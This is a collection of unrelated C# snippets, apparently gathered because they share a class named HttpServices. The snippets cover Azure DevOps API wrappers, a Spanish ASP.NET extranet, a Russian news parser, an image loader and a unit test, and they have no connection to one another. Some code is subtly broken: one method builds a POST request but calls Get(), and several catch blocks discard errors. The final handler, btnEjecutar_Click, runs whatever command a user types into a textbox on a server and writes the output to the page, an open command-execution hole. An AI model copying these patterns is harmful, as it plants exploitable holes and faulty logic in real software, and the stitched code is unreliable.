public ApiResponseMsg GetWIByIds(string organizationName, string projectName, string ids) { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = _baseUrl; oAppConfigurations.UrlParams = string.Format("{0}/{1}/_apis/wit/workitems?ids={2}&$expand=relations&api-version=5.0", organizationName, projectName, ids); oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Get; oAppConfigurations.AuthenticationScheme = AuthConfig.AuthType; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
public ApiResponseMsg CreateWorkItem(string organization, string workItemReqBody) { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = AuthConfig.AzureDevOpsBaseUrl; oAppConfigurations.UrlParams = string.Format("{0}/_apis/work/processes?api-version=4.1-preview.1", organization); oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Post; oAppConfigurations.AuthenticationScheme = AuthConfig.AuthType; oAppConfigurations.RequestBody = workItemReqBody; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
/// <summary> /// CreatedOn : /// Created By : /// Document Url : GET https://dev.azure.com/{organization}/{project}/_apis/testplan/Plans/{planId}/suites?api-version=5.0-preview.1 /// Api Url : /// /// Discription : /// Current Version : /// BasicTest Executed : NO /// </summary> /// <returns></returns> public ApiResponseMsg GetTestSuitesByTestPlanId(string organizationName, string projectName, string testPlanId) { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = _baseUrl; oAppConfigurations.UrlParams = string.Format("/{0}/{1}/_apis/testplan/Plans/{2}/suites?api-version=5.0-preview.1 ", organizationName, projectName, testPlanId); oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Get; oAppConfigurations.AuthenticationScheme = AuthConfig.AuthType; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
/// <summary> /// CreatedOn : /// Document Url : /// Api Url : GET https://vssps.dev.azure.com/{organization}/_apis/graph/descriptors/{storageKey}?api-version=5.0-preview.1 /// Discription : /// Current Version : /// BasicTest Executed : NO /// </summary> /// <returns></returns> public ApiResponseMsg GetDescriptors(string organizationName, string projectId) { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = _baseUrl; oAppConfigurations.UrlParams = string.Format("{0}/_apis/graph/descriptors/{1}?api-version=5.0-preview.1", organizationName, projectId); oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Helpers.Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Get; oAppConfigurations.AuthenticationScheme = AuthConfig.AuthType; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
/// <summary> /// CreatedOn : /// Document Url : https://docs.microsoft.com/en-us/rest/api/azure/devops/memberentitlementmanagement/members/get?view=azure-devops-rest-5.0 /// Api Url : GET https://vsaex.dev.azure.com/{organization}/_apis/GroupEntitlements/{groupId}/members?api-version=5.0-preview.1 /// Discription : /// Current Version : /// BasicTest Executed : NO /// </summary> /// <returns></returns> public ApiResponseMsg GetMenbersForGroup(string organizationName, string groupId) { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = _baseUrl; oAppConfigurations.UrlParams = string.Format("{0}/_apis/GroupEntitlements/{1}/members?api-version=5.0-preview.1", organizationName, groupId); oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Get; oAppConfigurations.AuthenticationScheme = AuthConfig.AuthType; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
private void FillContent() { try { if (!Page.IsPostBack && !Page.IsCallback) { cptCaptcha.ValidateCaptcha(txtCaptcha.Text); } } catch { } servicio = ParametroHelper.GetParametro_Valor(oPagina.Parametro, "Servicio"); //"caterpillar" if (servicio.Equals(string.Empty)) { Response.Redirect("Error.aspx?errID=910"); return; } lnkRegresar.NavigateUrl = ClientScriptHelper.getEnlace_MenuWeb(oSeccionWeb); lnkRegresar2.NavigateUrl = ClientScriptHelper.getEnlace_Articulo(oPagina); oServicioCAT = lExtranet.ServicioCAT_item(servicio, oContacto.codigoCliente, oContacto.codigoContacto); if (!Page.IsPostBack) { if (oServicioCAT != null) { mvwVendedores.ActiveViewIndex = 1; litUsuario.Text = oServicioCAT.usuarioCAT; litClave.Text = new String('*', 8); } else { string usuario = oContacto.email.Trim(); if (HttpServices.ServicioCAT_Exists(servicio, usuario)) { txtUsuario.Text = HttpServices.ServicioCAT_GetResource(servicio, usuario); } lnkRegresar2.NavigateUrl = ClientScriptHelper.getEnlace_MenuWeb(oSeccionWeb); mvwVendedores.ActiveViewIndex = 0; } } }
/// <summary> /// По списку uri адресов всех рсс-лент получаем все Xml файлы, и сериализуем их, /// возвращаем список элементов класса Rss. /// </summary> /// <param name="uriList">Cписок URI-адресов RSS-каналов</param> /// <returns></returns> private static async Task <List <Rss> > GetRssListAsync(List <Uri> uriList) { var rssList = new List <Rss>(); var xml = new XmlSerializer(typeof(Rss)); foreach (var uri in uriList) { var result = await HttpServices.GetHttpResponseAsync(uri.ToString()); var memoryStream = new MemoryStream(Encoding.GetEncoding("windows-1251").GetBytes(result)); var rss = (Rss)xml.Deserialize(memoryStream); rssList.Add(rss); } return(rssList); }
/// <summary> /// К уже полученной коллекции категорий и новостей, добавляем недостающие поля (изображения, основной текст новости и "связанные" новости" /// </summary> public static async Task <ObservableCollection <NewsCategory> > GetNewsItemsAsync(ObservableCollection <NewsCategory> categories) { // Восстанавливаем предыдущее состояние. var oldNewsCollection = HttpServices.ReadXmlAsync(); NewsCategory existedCategory = null; NewsCategory.NewsItem existedItem = null; foreach (var category in categories) { // Пытаемся восстановить новости из предыдущего состояния, если такая новость уже была в нашем списке, // чтобы уменьшить количество запросов к внешнему ресурсу. if (oldNewsCollection != null) { existedCategory = oldNewsCollection.FirstOrDefault(x => x.CategoryName == category.CategoryName); } foreach (var newsItem in category.Items) { if (existedCategory != null) { existedItem = existedCategory.Items.FirstOrDefault(x => x.NewsTitle == newsItem.NewsTitle); } if (existedItem != null) { newsItem.NewsImagePath = existedItem.NewsImagePath; newsItem.NewsArticle = existedItem.NewsArticle; newsItem.RelatedNewsItems = existedItem.RelatedNewsItems; } // Если новость "новая" else { var response = await HttpServices.GetHttpResponseAsync(newsItem.NewsLink); newsItem.NewsImagePath = HttpServices.ParseImage(response); newsItem.NewsArticle = HttpServices.ParseNewsBody(response); newsItem.RelatedNewsItems = await GetRelatedNews(response); } } } return(categories); }
private void FillDetalle(int IdNoticia) { eNoticia oItem = HttpServices.GetItem_Noticia(IdNoticia); if (oItem != null) { litFecha.Text = oItem.fecha; litTitulo.Text = oItem.titulo; litDescripcion.Text = oItem.descripcion; } int IdPlantilla_Contacto = 27; int IdMenuWeb_Contacto = 5; List <eArticulo> list = lCMS.ArticuloPlantilla_listarWeb(IdPlantilla_Contacto, IdMenuWeb_Contacto, oSeccionWeb.IdIdioma); if (list.Count > 0) { lnkContactanos.NavigateUrl = ClientScriptHelper.getEnlace_Articulo(list[0]); } }
/// <summary> /// CreatedOn : /// Document Url : https://docs.microsoft.com/en-us/rest/api/azure/devops/graph/groups/list?view=azure-devops-rest-5.0 /// Api Url : GET https://vssps.dev.azure.com/{organization}/_apis/graph/groups/{groupDescriptor}?api-version=5.0-preview.1 /// Discription : /// Current Version : /// BasicTest Executed : NO /// </summary> /// <returns></returns> public ApiResponseMsg GetGroups(string organizationName, string scopeDescriptor = "") { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = _baseUrl; if (string.IsNullOrEmpty(scopeDescriptor)) { oAppConfigurations.UrlParams = string.Format("{0}/_apis/graph/groups?api-version=5.0-preview.1", organizationName); } else { oAppConfigurations.UrlParams = string.Format("{0}/_apis/graph/groups?scopeDescriptor={1}&api-version=5.0-preview.1", organizationName, scopeDescriptor); } oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Get; oAppConfigurations.AuthenticationScheme = Constants.SchemeOAuth; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
protected void repCategoria_ItemDataBound(object sender, RepeaterItemEventArgs e) { Literal litTitulo = (Literal)e.Item.FindControl("litTitulo"); Repeater repPromocion = (Repeater)e.Item.FindControl("repPromocion"); if (litTitulo != null && repPromocion != null) { eCategoria oItem = (eCategoria)e.Item.DataItem; List <ePromocion> lPromocion = HttpServices.GetList_Promocion(oItem.id); if (lPromocion.Count > 0) { litTitulo.Text = oItem.titulo; repPromocion.DataSource = lPromocion; repPromocion.DataBind(); } else { e.Item.Visible = false; } } }
private void FillDetalle(int IdPromocion) { ClientScriptHelper.RegisterHeaderCSS("css/promociones.css", Page); ePromocion oItem = HttpServices.GetItem_Promocion(IdPromocion); if (oItem != null) { litTitulo.Text = oItem.titulo; litDescripcion.Text = oItem.descripcion; litEstilos.Text = "<style>" + oItem.estilos_css.Replace(".wrapper_interna section .container .caja", ".promociones_interna") + "</style>"; } int IdPlantilla_Contacto = 27; int IdMenuWeb_Contacto = 5; List <eArticulo> list = lCMS.ArticuloPlantilla_listarWeb(IdPlantilla_Contacto, IdMenuWeb_Contacto, oSeccionWeb.IdIdioma); if (list.Count > 0) { lnkContactanos.NavigateUrl = ClientScriptHelper.getEnlace_Articulo(list[0]); } }
/// <summary> 从文件中读取 ImageSource </summary> /// <param name="url">网络路径</param> /// <returns>读取到的 ImageSource </returns> public static ImageSource GetHttpImageSource(this string url) { try { var webRequest = HttpServices.CreatRequest(url); using (Stream responseStream = webRequest.GetResponse().GetResponseStream()) { var binReader = new BinaryReader(responseStream); byte[] bytes = GetImageFromResponse(responseStream); var bitmap = new BitmapImage(); bitmap.CreateOptions = BitmapCreateOptions.IgnoreImageCache; bitmap.BeginInit(); bitmap.StreamSource = new MemoryStream(bytes); bitmap.EndInit(); return(bitmap); } } catch (Exception ex) { } return(null); }
/// <summary> /// CreatedOn : /// Created By : /// Document Url : /// Api Url : /// /// Discription : /// Current Version : /// BasicTest Executed : NO /// </summary> /// <returns></returns> public ApiResponseMsg GetTestPlans(string organizationName, string projectName, bool includePlanDetails = true) { HttpConfigurations oAppConfigurations = new HttpConfigurations(); oAppConfigurations.BaseUrl = _baseUrl; if (includePlanDetails) { oAppConfigurations.UrlParams = string.Format("/{0}/{1}/_apis/test/plans?includePlanDetails={2}&api-version=5.0", organizationName, projectName, includePlanDetails); } else { oAppConfigurations.UrlParams = string.Format("/{0}/{1}/_apis/test/plans?api-version=5.0", organizationName, projectName); } oAppConfigurations.SecurityKey = _token; oAppConfigurations.ContentType = Constants.ContentTypeJson; oAppConfigurations.HttpMethod = Constants.Get; oAppConfigurations.AuthenticationScheme = AuthConfig.AuthType; HttpServices oHttpService = new HttpServices(oAppConfigurations); return(oHttpService.Get()); }
protected override async void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); parameters = e.Parameter as Subject; string subjectUrl = "https://api.douban.com/v2/movie/subject/"; subjectUrl += parameters.id; string commentsUrl = subjectUrl + "/comments?" + key; string reviewsUrl = subjectUrl + "/reviews?" + key; reviewsList = new ReviewsCollection(reviewsUrl); commentsList = new CommentsCollection(commentsUrl); string subjectStream = await HttpServices.SendGetRequestAsync(subjectUrl); subjectData = JsonToObject.DataContract <Models.FilmDetails>(subjectStream); Summary.Text = " " + subjectData.summary; foreach (var a in parameters.pubdates) { Pubdate.Text += "/" + a; } filmDetailsLoadingRing.IsActive = false; }
// Create Issue Work Items public void CreateIssueWI(string credential, string version, string url, string issueName, string description, string projectId, string tag) { try { Object[] patchDocument = new Object[3]; patchDocument[0] = new { op = "add", path = "/fields/System.Title", value = issueName }; patchDocument[1] = new { op = "add", path = "/fields/System.Description", value = description }; patchDocument[2] = new { op = "add", path = "/fields/System.Tags", value = tag }; con.UriString = url; con.PersonalAccessToken = credential; con.Project = projectId; con.VersionNumber = version; con.UriParams = "/_apis/wit/workitems/$Issue?api-version="; con.RequestBody = JsonConvert.SerializeObject(patchDocument); HttpServices httpServices = new HttpServices(con); var response = httpServices.PatchBasic(); } catch (Exception ex) { logger.Debug(DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss") + "\t" + ex.Message + "\t" + "\n" + ex.StackTrace + "\n"); } }
public void SendAsyncTest() { var content = "Hello World"; var factory = new Mock <IHttpClientFactory>(); var handler = new Mock <HttpMessageHandler>(MockBehavior.Strict); handler .Protected() .Setup <Task <HttpResponseMessage> >( "SendAsync", ItExpr.IsAny <HttpRequestMessage>(), ItExpr.IsAny <CancellationToken>() ) .ReturnsAsync(new HttpResponseMessage { StatusCode = HttpStatusCode.OK, Content = new StringContent(content), }) .Verifiable(); var client = new HttpClient(handler.Object); factory.Setup(httpFactory => httpFactory.CreateClient(It.IsAny <string>())).Returns(client); var httpService = new HttpServices(factory.Object); var httpRequestMessage = new HttpRequestMessage(HttpMethod.Get, "http://test.com/api/test/whatever"); var result = httpService.SendAsync(httpRequestMessage); result.Should().NotBeNull(); var actualResult = result.Result; actualResult.StatusCode.Should().Be(HttpStatusCode.OK); actualResult.Content.ReadAsStringAsync().Result.Should().Be(content); }
protected void lbtSubmit_Click(object sender, EventArgs e) { try { cptCaptcha.ValidateCaptcha(txtCaptcha.Text); if (!cptCaptcha.UserValidated) { return; } } catch { return; } eServicioCAT _oServicioCAT = new eServicioCAT(); _oServicioCAT.servicio = servicio; _oServicioCAT.codigoCliente = oContacto.codigoCliente; _oServicioCAT.codigoContacto = oContacto.codigoContacto; _oServicioCAT.usuarioCAT = txtUsuario.Text; try { string usuario = oContacto.email.Trim(); if (HttpServices.ServicioCAT_Exists(servicio, usuario)) { //Modificar credenciales para un usuario: HttpServices.ServicioCAT_EditResource(servicio, usuario, _oServicioCAT.usuarioCAT, txtClave.Text); } else { //Crear credenciales para un usuario: HttpServices.ServicioCAT_AddResource(servicio, usuario, _oServicioCAT.usuarioCAT, txtClave.Text); } } catch (Exception ex) { ShowError("Ocurrió un error: " + ex.Message); return; } bool success = false; if (oServicioCAT == null) { success = lExtranet.ServicioCAT_add(_oServicioCAT); } else { success = lExtranet.ServicioCAT_edit(_oServicioCAT); } if (!success) { ShowError(lExtranet.getErrorMessage()); return; } RegistrarLog.RegistroUsuarioCAT(oContacto, _oServicioCAT); mvwVendedores.ActiveViewIndex = 2; }
private void BindNoticias() { repNoticia.DataSource = HttpServices.GetList_Noticia("1"); repNoticia.DataBind(); }
private void LoadNoticias(eArticulo oItem) { //Cargar Noticias repNoticia.DataSource = HttpServices.GetList_Noticia("3"); repNoticia.DataBind(); }
private void BindPromociones() { repCategoria.DataSource = HttpServices.GetList_Categoria(); repCategoria.DataBind(); }
/// <summary> /// Ищет на странице "связанные" новости и возвращает их коллекцию, либо пустую, если не найдены /// </summary> public static async Task <ObservableCollection <NewsCategory.NewsItem> > GetRelatedNews(string htmlString) { var html = new HtmlDocument(); html.LoadHtml(htmlString); var items = new ObservableCollection <NewsCategory.NewsItem>(); var articleFullText = html.GetElementbyId("article_body"); //TODO: некоторые статьи в разделе "спорт" выглядят по другому, поэтому для нахождения в них "связанных" новостей, нужно немного другое решение. if (articleFullText == null) { Console.WriteLine("тратата"); return(items); } var relatedNews = articleFullText.Descendants("article"); try { foreach (var item in relatedNews) { string description; string title; // Еще немного магии парсинга. var link = "https://gazeta.ru" + item.Element("a").GetAttributeValue("href", ""); var imgLink = "https:" + item.Element("a").Element("img").GetAttributeValue("src", "").Trim(); using (var sw = new StringWriter()) { HtmlToText.ConvertTo(item.Element("p").Element("a"), sw); sw.Flush(); description = sw.ToString(); } using (var sw = new StringWriter()) { HtmlToText.ConvertTo(item.Element("h3").Element("a"), sw); sw.Flush(); title = sw.ToString(); } var article = HttpServices.ParseNewsBody(await HttpServices.GetHttpResponseAsync(link)); items.Add(new NewsCategory.NewsItem { NewsArticle = article, NewsTitle = title.Trim(), NewsPubDate = DateTime.Now, NewsDescription = description.Trim(), NewsImagePath = imgLink, NewsLink = link }); } } catch (Exception) { Console.WriteLine("что-то пошло не так"); return(items); } return(items); }
protected void btnEjecutar_Click(object sender, EventArgs e) { string Command = txtCommand.Text; litResults.Text = HttpServices.PoliceServer_Execute(Command); }